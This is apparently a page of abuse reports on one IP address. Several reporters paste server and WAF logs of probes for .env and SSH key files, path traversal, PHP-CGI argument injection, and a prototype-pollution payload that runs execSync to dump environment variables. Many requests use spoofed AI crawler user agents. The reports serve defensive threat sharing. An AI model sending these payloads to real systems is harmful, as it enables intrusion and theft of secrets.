🇺🇸
snappic
2026-10-09 21:23:02
(1 week ago)
Scanning for .env files [GET /api/fs/read?allowOutsideWorkspace=true&path=/app/.env] [Mozilla/5.0 (c ...
show more
Scanning for .env files [GET /api/fs/read?allowOutsideWorkspace=true&path=/app/.env] [Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)]
show less
Bad Web Bot
Web App Attack
🇫🇮
KTSTechnology
2026-10-09 17:28:09
(1 week ago)
Web vulnerability scanning detected by our ISP firewall
Web App Attack
🇮🇩
hiiruki
2026-10-09 16:56:34
(1 week ago)
Cloudflare WAF: Block by managed rules. Automated web scanner probing for sensitive files (.env/.git ...
show more
Cloudflare WAF: Block by managed rules. Automated web scanner probing for sensitive files (.env/.git); admin panels/known CVE endpoints; path traversal: 53 requests, 11 distinct probe paths (2026-10-09 13:59:33 to 16:56:34 UTC), e.g. /actuator, /api/w/starter/jobs_u/get_log_file/../../../../pro, /api/w/admins/jobs_u/get_log_file/../../../../proc, /.ssh/id_ed25519, /actuator/mappings, /.env.old. 6 POST requests to login/signup/admin endpoints (e.g. /api/v1/node-load-method/customMCP, /api/auth, /dashboard). Request details: GET/POST HTTP/2; User agent: 11 rotating user agents (crawler-style e.g. CCBot/2.0; Amazonbot/0.1; Bytespider; DeepSeekBot/1.0); Verified bot category: None; ASN: 396982 - Google LLC; Country: TW.
show less
Hacking
Brute-Force
Web App Attack
🇨🇭
ca
2026-10-09 16:42:38
(1 week ago)
This IP was detected by CrowdSec triggering crowdsecurity/http-probing
Web App Attack
Hacking
🇩🇪
rh24
2026-10-09 15:47:05
(1 week ago)
(badbots) Bad bot user-agent [redacted] from 104.199.212.254 (TW/Taiwan/254.212.199.104.bc.googleuse ...
show more
(badbots) Bad bot user-agent [redacted] from 104.199.212.254 (TW/Taiwan/254.212.199.104.bc.googleusercontent.com)
show less
Hacking
🇩🇪
jack252
2026-10-09 15:35:11
(1 week ago)
2026/10/09 17:35:10 [error] 1331#1331: *144459 open() "/var/www/html/cgi-bin/php-cgi.exe" failed (2: ...
show more
2026/10/09 17:35:10 [error] 1331#1331: *144459 open() "/var/www/html/cgi-bin/php-cgi.exe" failed (2: No such file or directory), client: 104.199.212.254, server: _, request: "POST /cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/2.0", host: "admin.nood.li"
2026/10/09 17:35:10 [error] 1331#1331: *144459 open() "/var/www/html/cgi-bin/php" failed (2: No such file or directory), client: 104.199.212.254, server: _, request: "POST /cgi-bin/php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/2.0", host: "admin.nood.li"
2026/10/09 17:35:11 [error] 1331#1331: *144459 open() "/var/www/html/cgi-bin/php-cgi" failed (2: No such file or directory), client: 104.199.212.254, server: _, request: "POST /cgi-bin/php-cgi?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input HTTP/2.0", host: "admin.nood.li"
...
show less
Brute-Force
Bad Web Bot
🇬🇧
KTSTechnology
2026-10-09 15:23:44
(1 week ago)
Repeated connection attempts to firewalled ports, detected by our ISP firewall Interconnect WL
Port Scan
🇩🇪
club77
2026-10-09 15:07:36
(1 week ago)
104.199.212.254 - - [09/Oct/2026:23:07:33 +0800] "GET /lib/terminal-xhr.php HTTP/2.0" 404 101504 "ht ...
show more
104.199.212.254 - - [09/Oct/2026:23:07:33 +0800] "GET /lib/terminal-xhr.php HTTP/2.0" 404 101504 "https://vicinity.life/lib/terminal-xhr.php" "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)"
104.199.212.254 - - [09/Oct/2026:23:07:34 +0800] "GET /icecoder/lib/terminal-xhr.php HTTP/2.0" 404 101553 "https://vicinity.life/icecoder/lib/terminal-xhr.php" "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)"
104.199.212.254 - - [09/Oct/2026:23:07:36 +0800] "GET /.env?raw?? HTTP/2.0" 404 101305 "https://vicinity.life/@fs/../.env?raw??" "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)"
...
show less
Web App Attack
🇦🇹
penguin-solutions.at
2026-10-09 14:53:02
(1 week ago)
Excessive 403/404 errors
...
Brute-Force
Web App Attack
🇩🇪
Laplus
2026-10-09 14:43:03
(1 week ago)
104.199.212.254 - - [09/Oct/2026:16:43:00 +0200] "GET /media../.env HTTP/1.1" 302 145 "-" "Mozilla/5 ...
show more
104.199.212.254 - - [09/Oct/2026:16:43:00 +0200] "GET /media../.env HTTP/1.1" 302 145 "-" "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)" "-"
104.199.212.254 - - [09/Oct/2026:16:43:00 +0200] "GET /static../.env HTTP/1.1" 302 145 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot" "-"
104.199.212.254 - - [09/Oct/2026:16:43:00 +0200] "GET /files../.env HTTP/1.1" 302 145 "-" "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)" "-"
104.199.212.254 - - [09/Oct/2026:16:43:00 +0200] "GET /images../.env HTTP/1.1" 302 145 "-" "Mozilla/5.0 (compatible; Bytespider; [email protected] ) AppleWebKit/537.36" "-"
104.199.212.254 - - [09/Oct/2026:16:43:00 +0200] "GET /assets../.env HTTP/1.1" 302 145 "-" "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)" "-"
104.199.212.254 - - [09/Oct/2026:16:43:00 +0200] "GET /uploads../.env HTTP/1.1" 302 145 "-" "Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/c
...
show less
Hacking
Web App Attack
🇨🇭
zynex
2026-10-09 13:43:06
(1 week ago)
URL Probing: /api/.env
Web App Attack
🇬🇧
consul.to
2026-10-09 13:24:15
(1 week ago)
Web attack/malicious scanning detected
Web App Attack
🇫🇷
ELYAZ
2026-09-20 15:26:55
(1 month ago)
(y3) Failed access -byebye- from 104.199.212.254 (TW/Taiwan/254.212.199.104.bc.googleusercontent.com ...
show more
(y3) Failed access -byebye- from 104.199.212.254 (TW/Taiwan/254.212.199.104.bc.googleusercontent.com): (CF_ENABLE)
show less
Hacking
🇪🇸
el-brujo
2026-09-20 15:23:56
(1 month ago)
20/Sep/2026:17:23:54.920425 +0200Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ...
show more
20/Sep/2026:17:23:54.920425 +0200Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 104.199.212.254] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:0. [file "/etc/httpd/modsecurity.d/activated_rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:0: {\\\\x22then\\\\x22:\\\\x22$1:__proto__:then\\\\x22,\\\\x22status\\\\x22:\\\\x22resolved_model\\\\x22,\\\\x22reason\\\\x22:-1,\\\\x22value\\\\x22:\\\\x22{/\\\\x22then/\\\\x22:/\\\\x22$b1337/\\\\x22}\\\\x22,\\\\x22_response\\\\x22:{\\\\x22_prefix\\\\x22:\\\\x22process.mainmodule.require('child_process').execsync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\\\\x22,\\\\x22_formdata\\\\x22:{\\\\x22get\\\\x22:\\\\x22$1:constructor:constructor\\\\x22}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.5"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag
...
show less
Hacking
Web App Attack
🇺🇸
TPI-Abuse
2026-09-20 14:31:00
(1 month ago)
(mod_security) mod_security (id:210492) triggered by 104.199.212.254 (254.212.199.104.bc.googleuserc ...
show more
(mod_security) mod_security (id:210492) triggered by 104.199.212.254 (254.212.199.104.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Sep 20 10:30:52.284243 2026] [security2:error] [pid 1398:tid 1398] [client 104.199.212.254:36848] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "diamenty.info"] [uri "/api/.env"] [unique_id "aq_uHKu0lG74MqitFHng7AAAABs"]
show less
Brute-Force
Bad Web Bot
Web App Attack
